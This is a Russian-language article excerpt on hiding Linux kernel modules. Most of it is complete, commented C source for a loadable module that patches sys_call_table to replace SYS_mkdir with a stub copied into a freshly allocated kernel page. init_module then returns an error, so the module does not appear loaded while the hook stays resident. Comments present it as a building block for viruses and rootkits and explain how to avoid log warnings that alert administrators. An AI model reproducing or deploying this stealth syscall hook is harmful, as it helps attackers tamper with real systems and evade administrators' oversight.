Призраки ядра или модули-невидимки

механизм реализации системных вызовов в LINUX


В качестве "шасси" мы будем использовать "скелет" LKM-драйвера, приведенный в уже упомянутой статье "прятки в linux". Фактически, мы только выбросим процедуру cleanup_module(), выполняющуюся при выгрузке модуля из памяти (ведь наш модуль никогда не выгружается! во всяком случае в традиционной трактовке этого слова), добавим функцию thunk_mkdir(), замещающую собой старый системный вызов SYS_mkdir(), и напишем несколько сток кода, обеспечивающих выделение памяти, копирование thunk_mkdir() и подмену оригинального SYS_mkdir'а. Если отбросить комментарии, на все про все понадобиться менее десяти строк на языке Си! (краткость — сестра таланта).

Предлагаемый вариант реализации выглядит так:

// сообщаем компилятору, что это модуль режима ядра

#define MODULE

#define __KERNEL__

// подключаем заголовочный файл для модулей

#include <linux/module.h>

// на многоЦП'шных машинах подключаем еще и smp_lock.h

#ifdef __SMP__

       #include <linux/smp_lock.h>

#endif

// подключаем файл syscall.h, в котором перечислены все

// системные вызовы (в т.ч. и необходимый нам SYS_mkdir)



#include <sys/syscall.h>

// не нужно использовать linux/malloc.h, чтобы не ругался

// компилятор, вместо этого возьмем linux/mm.h

// #include <linux/malloc.h>

#include <linux/mm.h>

// заглушка на функцию SYS_mkdir, всегда возвращающая -1,

// т.е. блокирующая всякую попытку создания директории с

// сообщением об ошибке ;) естественно, в "полновестном"

// вирусе или rootkit'е здесь должен быть обработчик,

// передающий управление оригинальному системному вызову

thunk_mkdir()

{

       return

-1;    // директория не создается ;-)

}

// чтобы определить длину функции thunk_mkdir,которую мы

// собираемся копировать в выделенный блок памяти, будем

// исходить из того факта,что порядок объявления функций

// в файле совпадет с их размещением в памяти,(в 99% все

// именно так и происходит!), тогда нам останется только


// разместить фиктивную функцию за концом настоящей и...

// вычислить разницу указателей. то есть, условно говоря

// size of(thunk_mkdir) = thunk_end - thunk_mkdir.

// внимание! это работает не на всех платформах!!!

thunk_end()

{

       return

0x666; // thunk_end никогда не вызывается

}

// объявляем внешнюю переменную, указывающую на таблицу

// системных вызов sys_call_table

extern void *sys_call_table[];

// объявляем функцию,в которую будет записан указатель

// на оригинальный системный вызов old_mkdir (в данном

// случае он _никак_ не используется)

int (*old_mkdir)();

// объявляем функцию,в которую будет записан указатель

// на резидентный код thunk_mkdir, остающийся в памяти

// даже после выгрузки модуля

int (*new_mkdir)();

// EntryPoint: стартовая функция модуля, ответственная

// за его инициализацию и возвращающая 0 (при успешной

// инициализации) и -1 (если в ходе инициализации были

// зафиксированы неустранимые ошибки), и в этом случае

// модуль не загружается.

int init_module(void)

{

       // выделяем одну страницу ядерной памяти

       new_mkdir = (void*) __get_free_page(GFP_KERNEL);

      

       // проверяем успешность выделения памяти

       if (!new_mkdir) return -1 | printk("mem error!\n");

      

       // определяем адрес оригинального вызова SYS_mkdir

       // (в данной версии модуля никак не используется!)

       old_mkdir=sys_call_table[SYS_mkdir];

      

       // копируем резидентный код нового SYS_mkdir в блок

       // памяти, выделенный вызовом __get_free_page

       memcpy(new_mkdir,thunk_mkdir,thunk_end-thunk_mkdir);

      

       // модифицируем таблицу системных вызовов, заменяя

       // старый вызов mkdir на  новую процедуру-заглушку

       sys_call_table[SYS_mkdir]=new_mkdir;

      

       // выводим отладочное сообщение, что все ОК

       printk("SYS_mkdir is now hooked!\n");

      

       // возвращаем ошибку, предотвращая загрузку модуля

       // (но оставляя резидентный код в памяти)

       return -1;

}

// пристыковываем лицензию, по которой распространяется

// данный файл, если этого не сделать, модуль успешно

// загрузится, но операционная система выдаст warring,

// сохраняющийся в логах и привлекающий внимание админов

MODULE_LICENSE("GPL");


Содержание раздела